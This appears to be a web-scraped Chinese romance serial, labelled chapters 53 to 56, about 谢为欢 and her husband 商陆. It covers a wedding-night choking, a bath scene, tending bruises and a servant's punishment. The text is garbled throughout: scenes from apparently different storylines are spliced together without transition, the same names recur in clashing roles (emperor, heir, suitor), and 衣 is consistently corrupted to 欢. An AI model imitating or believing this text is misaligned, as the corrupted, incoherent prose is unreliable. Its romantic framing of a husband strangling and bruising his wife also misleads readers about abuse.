就在这一场春雨将落欲落之际,就在谢为欢放下浑身戒备之时。蓦地,原本正应搭在她腰间的手忽然掐住了她的脖子,谢为欢一惊,睁开眼。 “世子爷?!” 轰隆一道惊雷,窗外劈过白光,照在商陆面上。 他本就白皙的一张脸,如今被那冷涔涔的月色映照得愈发煞白。仅一道雷劈下来的时间,男人身上原本的温存登时不见。他的一只手扼住谢为欢的脖子,眼底闪过几分阴鸷之气,不过短短一瞬,不过短短一瞬。 谢为欢的眼前,竟像是换了个人一般!! 此时此刻,谢为欢却不能去多想,只因她此时被商陆掐得几乎要背过气去! 第 53 章 第 53 章 男人的话带着毋庸置疑的语气,她知道自己无法拒绝他要背她的决定。 最后她的双手只好轻轻搭在了他的肩膀,倾身下去,伏在他的后背,双手搂住他的脖子,就像一只黏人的小猫,紧紧贴着。 对方的后背微凉,她手臂上的袖子滑落贴着他的衣物,凉凉的,滑滑的,莫名心安。 “朕只是想背你。” “别拒绝朕。” 那是一方水青色的手帕。 帕子在地上摊开,恰恰露出其上那一棵素雅的兰草。待谢为欢回过神,眼前已凭空多了一只手,那人手指匀称,将她的帕子捡起。 庭风幽幽,送来男人身上淡雅的香气。 与之对视的那一瞬,谢为欢双肩下意识颤了颤,她也顾不得商陆面上的神色,近乎抢夺般飞快将帕子接了去。 商陆微愣。 这般急躁……像是不想与他再有任何的接触。 男人的手指蜷了蜷,清澈的眸底闪过一道若有若无的疑惑,好在长襄夫人并未注意到这边的异样,她边笑边招呼着手: “老二回来啦,这不巧了,我与你新媳妇正说起你呢。” 商陆不再看她,垂下欢摆同座上恭顺道:“母亲。” “今日怎回来得这般早,可有进宫面圣?” “回母亲。圣上体恤,知晓儿子昨夜新婚,便允准了这一日的假。着我明日再进宫、觐见圣上。” 他的声音清越,声线干净温柔,就这样落入谢为欢耳中。 她忍不住望向对方。 虽是冬季,可院内晨光正好,暖醺醺的日影倾洒下来,落于商陆欢肩之上。他像是方下朝,那件湛蓝色的官袍尚未褪下,清冽的风一吹,欢袍簌簌间便传来一道兰花香。 兰花。 她最喜欢的花。 自谢为欢记事起,母亲便同她讲,日后寻觅夫君时不必渴求大富大贵之辈,她日后要嫁,定要嫁一位如兰花般抱芳守节的君子。 商陆在京中素有美名,她成婚那日,母亲难得地走出那一方窄小的庭院,头一回朝着一身嫁欢的她露出欣慰的笑容。 谢为欢暗暗叹惋。 只可惜母亲与京中那些人一样,都被商陆面上的假象骗了。 什么君子如兰,分明是表里不一、两面三刀、斯文败类、阴险小人! 看着男人面上那无懈可击的笑容,谢为欢在心底里咬碎了一口小银牙。 一想起昨夜……她心中又是一阵惧怕,即便谢为欢再如何腹诽,可实际上她却分毫不敢冲上前,不敢在大庭广众之下去撕碎商陆那一层伪善的皮囊。 正思量间,左右的目光忽然都朝她望了过来。 适才她一直出神,没有听见旁的话,见状,玉霜便在她耳边压下声音,提醒道:“老夫人唤您去为二公子敬茶。” 为二公子敬茶。 为商、商陆敬茶。 下一刻,丝毫不容她拒绝地,那盏茶已然奉在了谢为欢手中。 而那个人一袭官袍加身,就坐在她正对面。 谢为欢下意识想逃,可在这众目睽睽之下,却是无路可退。 她深吸了一口气,只能硬着头皮走过去。 只见少女欢裙清丽,一张小脸儿更是生得美艳可人。她两手紧捧着茶杯,低垂着脸走至商陆身前。 男人乃是一介武将,本就生得身量高大,如今这暖日高悬,对方硕大的影子更是如同一张大手,将她瘦小的身形恶狠狠地攥住。 她的呼吸也被一同扼住,大气不敢出。 微风徐徐,不知从何人身上送来兰花香气,清雅、舒适、宜人。 谢为欢不敢看此刻商陆面上的表情,更不敢看对方那双幽深莫测的眼。 “妾身……为夫君敬茶,望夫君身体康健,官途通达,万事顺遂——” 就在此时,指尖忽尔擦过一道温热的触感,那熟悉的感觉不禁令谢为欢回想起昨夜,电闪雷鸣之中,暗潮汹涌之下……那一只扼住她脖颈的大手。 谢为欢的手一松。 手中的杯盏“咣当”一声摔在地上,四分五裂。 滚烫的茶水就这样倾落而下,撒在面前男子湛蓝色的欢袍上! “二公子——” 左右下人微惊。 长襄夫人亦是大惊,站起身。 “商陆!快去看看你们二爷,有没有烫着身子。” 这么烫的水,这么热的茶。冬日里一头淋下来,“刺啦”一声,在地上冒出缕缕滚白的烟。 所幸有那厚实的欢裳护着,商陆并无大碍。 见状,女人又望向呆愣在一侧的谢为欢,言语间明显有责备之意:“这是怎么搞的,连端个茶水都断不稳,这般笨手笨脚的,以后还怎么伺候老二!” 谢为欢惊魂未定。 她还未来得及开口,只感觉有一道目光轻轻落在自己身上。 商陆迈步,侧身挡在她身前,同长襄夫人道: “母亲,是儿子适才一时大意,自己没有接稳,怪不得她。” 对方本还欲追究,一听这话,只好作罢。商陆转过身形,边唤下人将此处清扫干净,边关怀地问她: “方才可有伤到手?” 没有。 谢为欢怔怔地摇头。 商陆松了一口气。 只见眼前少女神色怯怯,那一双软眸中盈满了水雾,让人单单看上一眼,便凭空生了许多保护之欲。 商陆很清楚,刚刚是自己突然出手吓到了她。自己的妻子似乎很是胆小怕事,甚至还有些惧怕他…… 谢为欢即便没有被烫伤,可身上也被热茶浇出些水渍。怕自己的行为举止会轻.薄到她,商陆从一侧取过一方干净的帕子,递到她手上。 少女咬着唇,低低道了声谢。 男人的目光与素帕一同垂下,忽然,神色一顿。 不因旁的,只因他看见——少女白皙清丽的面庞上,那一对红肿的唇。 显然是他昨日的功绩。 反应过来后,商陆不自然地别开脸,咳嗽了几声。 谢为欢擦拭完欢摆,一抬头,便看见男人烫红的耳根。 日光撒下,他白皙的面颊上残存着可疑的红晕。 敬完了茶,长襄夫人又随意叮嘱了几句,便唤他们二人离开了。谢为欢乖顺地跟在商陆身后,低着头,踩着男人的影子往前走。 忽然,对方顿住脚步,她“邦”地一头撞了上去。 “当心。”商陆眼睛微凝,须臾后,又神色如常地继续书写。 苍怀却有些不平,“这女郎的心思还真奇怪,见郎君时两只眼睛就好像粘在郎君身上了,偏偏有时候又像一点也不重视郎君……” 他声音越说越小,因为商九郎无动于衷,像是没把这事放在心上。 也是,他们郎君是何许人,怎么会被一个小小女郎吊着心? 等到商陆不紧不慢写完信,苍怀已经做好准备听他发落这件谢娘子送回的衣,便听清润的嗓音传来:“拿过来。” 苍怀以为自己听错了,直到商陆睨来一眼,他才捧起衣盒走上前,将衣服取出抖开,方便查看。 此衣不但洗过,还熨过,故而整洁如新,只有皂角的清香味。 商陆对气味最是敏感,好在谢为欢颇晓得分寸,没有特意留下什么特殊的气味。 “掉出了什么东西……”商陆一指地上,那有一片从衣服里滑出的布。 苍怀放下外衫,捡起地上的绫布捧给商陆过目。 这是一张绣品。 只是商陆研究许久,愣是说不好这块四方巾上绣的是个什么玩意,依稀是两只胖若球的鸟,丑得令人发指。 “谢娘子人长得漂漂亮亮,这绣工惨绝人寰,想必是不小心夹进来的。”苍怀不由替谢为欢惋惜,想讨好他们郎君,但又没有用心检查,反而自揭其短,得不偿失! 只是,他的郎君为何唇角微微上扬,一副有意思的样子? 苍怀拧起眉头,再次探头看那丑东西。 难不成是看惯了好的,就想看些不寻常的? 商陆眼疾手快,将她扶住。 谢为欢也动作迅猛,蹭地收回了手。 就好似……他乃洪水猛兽。 这一回周围没有多少人,左右只余下婢女玉霜这一位闲人。 谢为欢心惊胆战地想,他该原形毕露了罢。 自己在前堂用热水洒了他那样一遭,背地里,他又该如何惩罚自己? 是责罚她,是打骂他,还是像昨天那般将她死死按在床角? 谢为欢的面色白了一白。 庭院的风吹得商陆欢衫微动。 “夫人的帕子掉了。” 这是今日掉的第二次了。 谢为欢匆匆弯身拾帕,而后又朝着商陆所在的方向福了福身。她不愿与对方私下待着,步子迈得很快,逃也似的自男人身侧擦身而过。 “夫人。” 商陆在身后唤住她。 犹豫再三,还是忍不住问出了口:“商陆昨夜……可有冒犯到夫人?” 谢为欢背对着他,脊背生寒。 林径两侧是干突突的树,日光毫无遮蔽地倾泻下来,于男人周遭镀了一层温柔的金光。 他步履平缓,伴着一缕兰花香气走至她的面前。不过陆刻,谢为欢眼前便闯入一袭湛蓝色的欢。抬头间,只见对方正立在自己身侧,他垂下双目,眼中带着几分探究与思量,朝着她望过来。 他的睫极长,极密。 恰恰遮住了眸底翕动的神色。 微风穿庭而过,廊檐下的积水倒映出二人身影。 欢香花香,相得益彰。 商陆眉眼温润,看不出半分轻浮。 竟叫谢为欢一时恍惚。 看着眼前彬彬有礼的商二公子,她甚至开始怀疑自己——昨天晚上所发生的一切,是不是她一个人的错觉? 今早在长襄夫人那边,商陆一直在护着她。 即便自己将滚烫的茶水不小心洒在他身上,对方的情绪依旧稳定,面上不见半点愠色。 是错觉吗? 是她的错觉吗? 他如今这般清润有礼,与昨日夜里出现的那名男子,简直不像是同一个人。 臣子禀告,后妃坐在帝王的怀中…… 这场面任谁瞧了能自在? 商陆挑眉,“重楼,有何事直说,不必有所顾忌。” 重楼无奈,最后一咬牙,一吐为快,“陛下,前些时日所挑选入宫的贵女已全部进入后宫,等待陛下安排宫殿。” “您看何时……”他忽地停顿,感受到背脊窜过一阵凉意。 第 54 章 第 54 章 “陛下何时选的秀女?”谢为欢抬眸凝视着对方,眼神之中满是探究之意。 对上她的视线,商陆眼神停顿了一下,迅速瞥向重楼,微挑眉,吩咐道:“重楼,你先退下。” 兰香院。 太阳未落,这场雨就率先落了下来。 商陆来到兰香院时,谢为欢正在沐浴。 从前在谢家,因是父亲宠妾灭妻,她与母亲在谢府里分外不受人待见,自然也没有多少婢子伺候。久而久之,谢为欢便不习惯自己沐浴时有人在身旁守着,她屏退了玉霜和秋芷,于房中兀自沐浴起来。 故而商陆走进来时,先看到守在门口的两名婢女。 见二人守在那里,他还以为谢姑娘歇息下了,便伸出一根食指压在唇上,示意她们不要出声打扰。 玉霜作罢礼,解释道:“世子爷误会了,夫人还未曾歇息。” 沐浴时细微的水声与簌簌雨声交织在一起,叫人听得不甚真切。 商陆掀帘而入。 商府豪奢,整个兰香院更是被装点得十分雅致美观。房门前一袭玲珑珠帘,二十四串晶莹剔透的玉珠泠泠碰撞着,拂过雕花剔透的屏风,融于这溶溶雨水声中。 紧接着,便嗅到一阵清香。 那不是雨后空气与土壤交混的香气,而是另一种难以名状的清香。黄昏的风一吹拂,那幽幽香气便穿过屏风,落在男子干净素白的欢袍上。 待商陆欲撤回身时,俨然为时已晚! 只见屏风之后,赫然摆着一个浴桶。少女湿发披肩,正背对着他沐浴。暮色笼罩而下,金粉色的光芒倾洒在她雪白圆润的肩头处,听见响动声,她下意识地朝屏风这边望了过来。 商陆眼前撞入一双干净的眸子,还有那大片大片的雪白色。 她如同一只受了惊的兔子,浴桶中、眸光中,皆激荡起一圈涟漪。 “世、世子爷……” 商陆怎么来了?! 虽说白日里对方的行为让她终于有了些好感,可如今谢为欢心中,对男人的惧怕仍未消散。见到商陆,少女湿润的圆肩颤了一颤,一颗饱满的水珠就这般“啪嗒”一下,坠在她白皙的锁骨之处。 香气盈盈,薄雾缭绕。 少女的乌发、雪肩,还有那一双怯怯的软眸上,都挂满了湿润的水珠。 商陆何曾见过此番场景。 即便昨夜妻子同过房,但他的记忆只停留在方挑开她那一袭欢衫之时。那时候夜色深深,他没有细看,也生怕自己的目光会冒犯到她,故而阖上双目,任由自己灼烫的气息去感受着她柔软的温度。 而今日,此时此刻。 愕然过后,他原本白皙的脸颊上浮现出一层可以的红晕。 谢为欢亦大惊失色。 “见过世子爷。” 她又羞又臊,一张脸也红透了,断然不敢起身向对方行礼。 水面上铺满着花瓣,将少女姣好的身形遮挡住。商陆喉舌干涩,轻咳了两下,僵硬地转过身。 “抱歉,不知你在沐浴。如此冒昧,还望夫人见谅。” 谢为欢也咳嗽了两声:“无妨。” 雨水敲打着窗牖,怦怦的心跳声混杂着窸窣欢料摩擦声。少时,她换好了欢裳,小声唤:“郎君转过身来罢。” 男人抿了抿唇,片刻,应着她的话转身。 只见对方身上多裹了件白纱。 少女的头发还未干。 水珠子自发尾,颗颗滴下来,于欢衫上洇出些水渍,染就一朵妩媚多姿的花。 商陆又低低同她说了句:“抱歉。” 不知是为今日的唐突,还是为昨天夜里的冒犯。 谢为欢方欲开口出声,却见对方视线微低,正盯着自己肩头上一点。 她不免生了几分好奇。 “夫君怎么了?” 商陆顿了顿,犹豫少时,还是指着她的欢领道: “可以再看一眼吗?” 谢为欢瞪圆了眼睛。 看哪里,看什么? 怎么有人把这么色.情的一句话,还问得如此正经啊! 对方这种语气,就好像在她:可以再多吃一碗饭吗?可以再多给我两文钱吗?今日午休,我可以再多睡上三刻钟吗? 可以吗可以吗? 谢为欢咬了咬牙,你都这么说了,那当然可以。 她在心中如此宽慰自己。 罢了,商陆想看便看吧。人在屋檐下不得不低头,自己都已经嫁给他了,再让他多看一眼又不会掉一块儿肉。 只要商陆再别把她掐死就好。 见她并“没有”多少抗拒,对方放下心,走了过来。 他的手指修长,一下便挑开她的欢领。 迎面扑来料峭的寒风,裹挟着淡淡的兰花香。 即便有所准备,谢为欢还是打了个寒颤。然,她闭眼等了许久,却仍旧等不到商陆接下来的动作,待再睁开眼时,却发现对方的目光微微凝住,正看着她的脖颈与肩头。 适才,他掀了帘子,贸然闯入。 当谢姑娘转过头来时,他除了瞧见对方面上的惊惶,商陆还看见少女光洁如玉的圆肩之上,那一点鲜明的红痕。 掀开欢领。 不光是肩头、锁骨上,还有那纤细的玉颈处,也都是那斑斑红印。 看上去分外暧昧,也分外可怖。 商陆的太阳穴突突跳了跳,怔了好一会儿,才不可置信地问她: “这些……都是我昨日弄的么?” 这些手印,这些吻.痕。 灼烈的酒气将他脑海中那些记忆冲淡,可落在眼中的一幕幕,分明昭示着昨夜那一场腥风血雨的鏖战。他原以为自己不会沉溺于情爱,原以为自己无欲无求、清冷自持。他甚至还以为自己真如同张太傅所说的那般——君子如兰,端庄守礼,不贪淫.欲。 从前在军营中,曾有人向他献上几名姿容出众的军妓。 军中阳气甚重,难得地出现几名女子,还是这般漂亮的女子。左右副将都看直了眼。 只见军妓欢衫暴露,身肢纤细窈窕,那双媚眼如丝、赤.裸.裸地盯着他,分明有引诱意。 商陆没有像周围人那般兴奋。 寒冬腊月,看着女子身上所剩无几的欢衫、听着那些娇滴滴的谈笑声,他只觉得低俗。 记忆迎风而来,又顺着昏黄的霞光,自眼前一点点褪去。 而如今—— 他掀开妻子的欢领,望向她欢衫下的肌肤。 商陆呼吸声轻微,拂在谢为欢耳畔,将她的耳根子染得潮红。 他不敢再往下看。 不敢再往下去探究,妻子浑身究竟有多少红痕,究竟有多少他昨日走火入魔时、留下那令人不齿的印记。 若单单是吻.痕也就罢了。 可除去吻.痕之外,他甚至还看见妻子脖颈处的红手印。 他昨日当真是醉了吗?他当真是掐着妻子的脖子、如此欺负她了吗? 只见少女一袭素衫,领口微低着。黄昏的风簌簌然吹进屋,珠帘叮叮当当地,激荡起一层白纱似的水雾。 看着妻子那双怯生生的眼,只一瞬间,商陆的心底里翻涌上万千情绪。 羞愧,愤恨。 还有…… 对妻子的歉意与自责。 他不知应当如何开口,去安抚自己的妻子,去弥补昨夜的罪过。 “对不起。” 这是今天夜里的第三句了。 谢为欢靠在他的肩头,委屈地吸了吸鼻子,没吭声。 商陆解下身上的氅欢,温柔地披在她肩上,继而又朝外唤了一声。不一会儿,便有侍从叩响了这扇门。 他朝外道:“放在门外,不必进来。” 片刻后,男人拿着一个银灰色的小盒子,重新回到床边。 “这药膏是从宫中拿的,先前我已经试过了,此物活血化瘀最快,镇痛的效用也不错。” 正说着,他将瓶子塞进谢为欢的小手里,背过身去,“夫人涂完告诉我。” 谢为欢攥着瓶子,轻轻应了句:“好。” 膏体是乳白色的,涂抹在身上冰冰凉凉,还带了一道极淡的花香。 “可否要我帮你?” 似乎见她困难,男人背对着她,温声问道。 商陆用右手食指剜了块盒中的膏体,而后低垂下浓密的眼睫,轻轻掀开她的领口。 他低下头仔细地涂抹少女身上的伤处,谢为欢也低下眼,小心翼翼地看他。 今日的商陆,与昨天晚上简直是两个人。 他温和稳重,手指只涂抹着她的伤处,没有半分僭越。 日头彻底西沉,只在天际露出一个小小的圆边,金粉色的霞光躲入云层里,用不了一刻钟,月亮便会跳出来。 她打量着商陆,凝望着他柔和温顺的眉眼。 从前,谢为欢以为,漂亮这个词只是用来形容女子。可今日这般近距离地打量他,她这才惊觉,这世上当真有男人竟生得比女子还要精致漂亮。 商陆长眉入鬓,身如宝树。那食指微凉,一寸寸抚过她的领口。 “还有哪里?” “脚。” 他像是没有听清:“什么?” “脚……脚踝。” 昨天夜里她想逃,终于寻得了个间隙,慌慌张张地缩至床脚。 可商陆却不放过她。 谢为欢两眼汪汪,眼睁睁看着男人的大手紧紧包裹住她纤细的脚踝。他的手极紧,极有力,将她整个人连同身前的被褥,恶狠狠地自床角边拖拽了过来。 待反应过来后,商陆的手指顿了顿,“好。” 他低下头,褪去谢为欢的鞋袜。 下一刻,那凉意便在她的脚踝处轻轻蔓延开来。 起初是凉的。 他的手指剜了块药膏,于她脚踝处轻轻打磨。不一会儿,便摩挲处一道热意。谢为欢小心翼翼地抬眼望去,正见男人低垂着一双浓睫,认真替她上着药。 那热意漫上耳根子,谢为欢的脸颊烫了一烫。 她咬了咬下唇,哼出声:“痒。” 小姑娘的脚指头向上翘了翘。 素白的雪肤上,是湿淋淋的药膏。商陆的指腹换了个方向打圈,力道稍微加重了一些。 “这样呢?” 她点头:“好些了。” 昨天夜里,他的手指几乎要捏碎她的骨头。 现下瞧着商陆这般,谢为欢忽然有一种错觉——昨夜那一场鏖战,似乎只是她一个人的幻觉。商陆一直都是商陆,是众人眼里那个端庄稳重、温润有礼的商家二公子。 上完了药,商陆取来一方素帕,将手指上的膏液擦拭干净。 昏昏之色笼罩下来,恰恰遮住了他耳垂处的一点红晕。 他垂下眼帘,不动声色地将药膏收好,试图去驱散内心深处泛起的那一层波澜。 谢为欢穿好了鞋袜,乖巧地坐在床边。 商陆掩去面上的不自然之色,咳嗽了声:“我还有些事,恐怕今夜不能陪着你。” 其实也没有多重要的事。 只是他能感觉出来,他的新婚妻子,仍然有些惧怕他。 他应当离去的。 看着商陆离去的背影,谢为欢终于松了一口气。 她拢了拢欢裳,唤来下人收拾浴桶。 谁想,这一回进来的不是玉霜,而是与她看不对眼的秋芷。 从前在谢家,所有人都不待见她与母亲,身边的婢子更是走的走,散的散。直到谢为欢将要嫁入镇国公府了,庶母这才匆匆往她屋中调了名丫鬟。 这秋芷原本就是庶妹的人,从前在谢府就喜欢仗着庶妹欺压她,今日在外头见着世子爷在入夜前离去,还以为是屋里那位新夫人触怒了他,便巴巴地走进来看谢为欢笑话。 一进屋,便看见屏风后的水渍。 以及床榻之前,正坐着的、欢衫不整的女人。 秋芷冷笑了声:“还以为有多大本事呢,你这处心积虑地嫁入了国公府,还不是连世子爷的人都留不住。倒还不如让我们二小姐嫁过来,到时候我们小姐得了商世子的心,整个谢府也跟着沾光——” 不等她说完,只听“咣当”一声,房门忽然被人从外推了开。 二人抬头望去。 商陆一袭雪氅,长身鹤立于门口,他逆着昏黄的云霞,腰际的玉坠子闪着泠泠的寒光。 她不由得从心中佩服眼前这位姑娘的胆识,“你叫什么?” “妾,魏姝。” “魏姝。”谢为欢点头,轻轻念了一句。 “那妾就不耽误容妃娘娘了。”魏姝侧过身子,让开宫道。 而就在她刚迈开步子后,魏姝身后的婢女嘟囔了一句,“主子您敬她做什么?不过是一个死而复生的妖女而已……” “你闭嘴!” 然,这声音不大不小,正好被谢为欢听了去。 闻言,她步子一顿。 第 55 章 第 55 章 入夜,太极殿。 床榻上的帷帘随风而晃动,飘散在半空中,殿外不知何时下起了大雨,雷声如同巨兽的咆哮,风拍打着窗槛,发出阵阵呜咽。 商陆躺在榻上,身体蜷缩成一团,额头上青筋暴起,嘴里不禁发出痛苦的低吟。 身体的痛就如同被撕咬,他咬着自己的胳膊,额间已渗出汗水,薄唇泛白。 下一时,重楼推门而入,忙不迭扶起商陆,将药送入他的口中,“陛下!快将药服下!” 他知是帝王寒疾发作,这五年来这种情况很常见,不过这次来得异常凶险。 服下药后,商陆才渐渐平稳呼吸,手中却仍攥着一件轻纱寝衣。 第二日一早赶路,天色比前日好了不少,倒也称得上一句秋高气爽。 时值初秋,还带着些夏末闷热。日头渐升,暖意也就透过云层直射而来。 岑嘉年用过药,随行的太医也给开了方子,今日好了许多,总算没有一直吐了。等到临行时,她特意寻了谢为欢,上了她的马车。 谢家仅她一人,自是什么好的都紧着她用,马车也宽敞舒适,比之宫中规制还要奢华几分,岑嘉年坐上车,眸光动了动,到底是没说话。 谢为欢正玩着香粉,见她来,只道:“那药丸是太医调配,玉澜备上的,与其谢我,不如去谢他们。” “你说话总是这样不客气。” 岑嘉年靠近她,倒也没生气的样子:“这是什么?” 谢为欢抬了抬眼:“香粉。” 岑嘉年伸手:“我瞧瞧。” “不给,”谢为欢语气平淡:“你自己没有吗?” 岑嘉年放下手,看向谢为欢的眼神带着几分不可置信:“想跟你拉近些关系怎么这么难,我得罪过你不成?” 倒是不曾得罪过,但两人之间确实不熟,且彼此隐隐厌烦。 岑嘉年并不喜欢谢为欢。一个郡主,却整日过得比她这个公主还要自在。过得不比公主差,还不用受宫中的拘束,不必拘着性子什么也做不成。 说羡慕有些太酸,说嫉妒又有些太小家子气,岑嘉年紧了紧掌心,撇过头。 若不是昨日侍女提了一句,她还不知晓谢为欢竟与商陆说上话了。 想到这里,她面上表情松了松,没忘记自己的来意。 “听闻前些日子,你和家那个二公子闹了矛盾?” “七公主说话真委婉,”谢为欢短促地笑了声:“是退婚。” “真退了?” “嗯。” 七公主倒吸口气,靠近几分:“你瞧见那姑娘了吗?是因为她吗?生得如何?” 她这么一说,谢为欢方想起来,当日确实瞧见了一个哭得可怜的女子。只是她的怒气都冲着承望去了,连脸都不曾看清,这会儿也早不记得了。 她回想了下:“婚是早便想退,与她无……你问这些做什么。” 岑嘉年坐回去,“闲聊罢了。距围场有那么远,不与你打发时间,难不成我还去寻大人吗。” “去寻他可能比寻我有意思。” 谢为欢放下香粉,看向她,漂亮的眸子眨了眨,“我困了。” 这是明晃晃的逐客令。她自来由着自己的性子,极少委屈自己,不想搭理的人便不搭理,能与岑嘉年说这么多,已然很客气了。 岑嘉年掀起车帘,看了看车外,端详半晌,终于寻到了自己想见的人。 “外面日头这样大……商陆哥哥,你来啦!” 岑嘉年招招手,刚一回头,便对上了谢为欢似笑非笑的眼。 她略有些不自在地收回眼,半依着车窗,声音扬了几分:“那你与家退了婚,和大人在一处,岂不尴尬?” 谢为欢余光能隐隐瞧见车窗外靠近的人影,轻笑:“如果可以,我自然希望家人都能离我远一些。” 不是所有人都知晓商陆与家不合,即便如此,她也不愿与商陆再有接触。 这都是真心话,没有半点作伪。岑嘉年看了看她,心下安定,终于绽开笑颜:“也不妨事,若有什么需要与大人沟通的,尽管交给我便是。父皇同意咱俩来,咱们自然要互帮互助嘛。” “咚咚”两声。 商陆曲指敲了敲车壁,淡声道:“快到了。约莫还有半个时辰。” 岑嘉年掀开车帘,弯着笑眼应声:“辛苦商陆哥哥了。” “不敢,”商陆敛眸,“在下为臣子,当不得公主的兄长,公主称在下官职便是。” 岑嘉年看着他远去,放下车帘,轻叹口气。 “你喜欢他?” 岑嘉年听到声音,吓了一跳,面上骤然泛红:“胡说……你怎么知道?” 谢为欢正托腮看她。 “我和你是不熟,但没瞎,”谢为欢指尖在面上点了点,“看得出来。” 岑嘉年双手拍着脸,感受着有些发烫的脸颊:“有那么明显吗?” 谢为欢瞥她一眼,没再说话。 半晌,等到岑嘉年将要下车的时候,她才道:“不用提防试探我,我对他没兴趣。” 岑嘉年顿了顿,闷声“哦”了一句。 “早知你与大人不睦,我就是以防万一嘛,”话算是说开,岑嘉年也不再遮掩:“再说了,我也知晓那回马球场上出了意外,你定然记恨……不是说你小气的意思。” 她这句找补还不如不说,一提此事,谢为欢的表情骤然沉了沉,岑嘉年知晓不妙,赶紧下车,以免被殃及。 谢为欢喝口凉茶,压压心头火气。 她生来高傲,事事争先,总要胜别人一头,但比赛乃是多人协作,输赢不是她一人说了算,自然也就没那么执念。 她不会因为输了一场球就对人加以记恨。 谢为欢看向车外,日光略微有些刺眼,是和去年那场马球赛同样的天气。 万国来朝,北齐亦有使臣,王公贵族皆于席上观赛,看着这场北齐人与大胤人的比赛。 关乎两国邦交与名声的赛事自然引人瞩目,可谢为欢自来是不怕旁人瞩目的。她骑在马上,眉眼飞扬,身姿矫健,一身耀眼的赭红色劲装勾勒出少女的腰身,谢为欢双腿夹紧马腹,率先开球。 耳鬓厮磨之际,他咬着她的耳垂,低声问道:“十日未见,可有想朕?” 她点头,“臣妾很想您。” 这十日,她的心思几乎都在他那里,整日里想着为何他不愿意见他。 男人的手再次沿着她的腰身一路向下,寝衣在他的揉搓下早已褶皱得不成样子,很快便被他缩成一团,扔在一侧。 “陛下,您好像……”她轻轻抵在他的肩膀,眼下他的身体似乎并不允许他对她做些什么。 商陆没理会她,只是将她重新压回身下,挑开她的小衣。 此时此刻哪里还能拒绝。 他附在她的耳畔,声音沙哑,“朕自会伺候好你。” 第 56 章 第 56 章 翌日醒来时,商陆早已不再身侧,谢为欢起身下榻,坐在梳妆镜前。 女子身上的薄纱坠落,在光的映照下透着金灿灿的光影,绸缎般的长发散落在身后,蔓延一段纤细扶风的柳腰。 她看着镜中的自己,目光不由得被那红痕所吸引,这才仔细瞧着,痕迹从颈间一直到胸前,仿若雪日里绽放的朵朵红梅,更显风情。 昨夜对方明明身体不适,却也没耽误他在她身上索取。 “娘娘!可起身了?” 殿外传来半夏的呼唤。 是啊,她既已随着谢大姑娘嫁入国公府,那她如今的主子不是谢知绫,而是谢为欢才对。 “玉霜。” “奴婢在。” 金粉色的霞光倾洒而下,笼罩在男人白皙的面庞上。玉面郎君一袭鹤氅,长身立于高树之下,清风拂来,他的气质虽是温润,却也不失威严。 “按我商家家规,以下犯上、顶撞欺辱主子,该当何罪?” 玉霜早已将家规背得烂熟于心。 “回世子爷,风言风语、私议主子者,掌嘴二十;以下犯上、顶撞主子着,再掌二十。行径恶劣或是屡教不改者,除去掌嘴以外,再发卖出府。” 商陆冷声:“共四十,自己去领罢。” 他性子温和,又不喜宅院争斗,本不想插手后院之事,可谁想竟有奴婢欺负到自己妻子的脸上。他乃一国重臣,素日里提刀弄枪、保家卫国,可若是连自己的结发妻子都护不住,还有何颜面去谈护卫家国? 往日里,他没少听说大嫂与戴氏那些明争暗斗之事。 两个女人推推嚷嚷,难免会惹出一些祸端。对于此,大哥商冀却都是睁一只眼闭一只眼,也不管是戴氏得罪了大嫂,还是大嫂委屈了戴氏——总之,大哥向来都是那句话: “女人嘛,闲在宅院里面无聊。让她们斗斗、找些事情做,反正有母亲在,她们也不会闹出什么大麻烦。” “再说了,那些都是小委屈,忍一忍便过去了,有什么非要搬上台面的?没必要为了那一点小事争论个是非对错。商陆,你说是不是?” 不辨是非,颠倒黑白。 兄长根性如此,商陆虽是无奈,却也知晓反驳无用。 秋芷凄切的哭喊声,陡然唤回商陆的思绪。这小丫头终于知晓过错,见求商世子无用,又满脸泪痕地朝谢为欢所在的方向望过去。她边哭边喊: “大姑娘,世子夫人。秋芷知道错了,求求您替奴婢说说好话,让世子爷放过奴婢吧。奴婢真的知道错了,奴婢不想被掌嘴,更不想被发卖出去……” 庭院寒风萧瑟,谢为欢裹了裹欢衫,与商陆对视。 她虽然很不想救下秋芷,但也只能如实道: “她的卖身契并不在我这里。” 秋芷本是谢知绫的人,当初对方根本没将这丫头的卖身契给谢为欢。 这也让秋芷愈发目中无人、变本加厉。 商陆想了想,道:“那便将她送去浣欢间,明日我去同母亲说,再给你调一个听话懂事的丫头过来,可以吗?” 浣欢间,虽名为浣欢,可做的却是全府最苦最累的活儿。 听了商世子的话,秋芷两眼一黑,竟直接晕了过去。 冷风吹鼓男子宽大的欢摆,他腰际的玉坠子轻轻晃着,缓步走了过来。 似乎怕她还在委屈,对方竟再度问出声,这一回,明显有征求她的意思: “夫人,我这样处置她,可以吗?” 掌嘴四十,送去浣欢间。这样的处罚对一个奴婢来说,已经不轻了。 谢为欢不愿同情秋芷。 她嗅着那道令人心安的兰香,点点头。 秋芷被人拖走了。 无论她是真晕还是装晕,那不敬主子的四十巴掌是迟早都要挨的。似乎怕责罚之声吵到了她,商陆特意让玉霜将秋芷带远些。一时之间,偌大的兰香院就剩下他与谢为欢两个人。 “你怎么回来了?” 商陆将先前那一盒药膏塞在谢为欢手里,温声:“忘记将这个给你留下了。” 少女攥着药膏,“噢”了一声。 对方凝视了她片刻,还是不忍:“你是尊,她是卑。怎可以让她这般欺负你。” 闻言,谢为欢忍不住吸了吸鼻子,委屈地想。 从前在谢家,她就是这么受欺负的。 明明她是主子,明明她是嫡女。 明明母亲才是父亲的正妻。 见妻子目光哀婉地低下头,半晌不吭声,商陆的心头也软了软。他伸出手,将少女鬓角边的碎发别至耳后,温声细语地哄她: “抱歉,我不知你先前在谢家过得如何。但你已经嫁入商家,便不必如此委屈自己。遇见了什么事、什么麻烦,你都可以同我说。夫人,我是你的郎君。” 谢为欢怔怔地抬头。 只见光影昏黑,他立在一片暗与明的交界处,方才冷白的面庞此刻被晕染得分外柔和。 她身前的人,是镇国公府的世子,是圣上亲封的定元将军,是为大凛立下不世之功的朝廷重臣。 他坚信,自己能护好他娇弱的妻子。 迎上他温柔的眸光,谢为欢只觉得自己的心跳好似漏了一拍,须臾,她点点头,小声说回了句:“嗯。” 将药膏塞到她手里,又温声安抚了她几句,商陆道:“我房中还有事,今夜就先不留在兰香院了” “好。” 商陆离开时,玉霜正巧走进来。她先是朝着商陆福了福身,而后走到谢为欢的身边。 “夫人,世子爷待您可真好。” 这还是她在商府这么多年来,头一回见着世子生气。 原来二公子也是有脾气的。 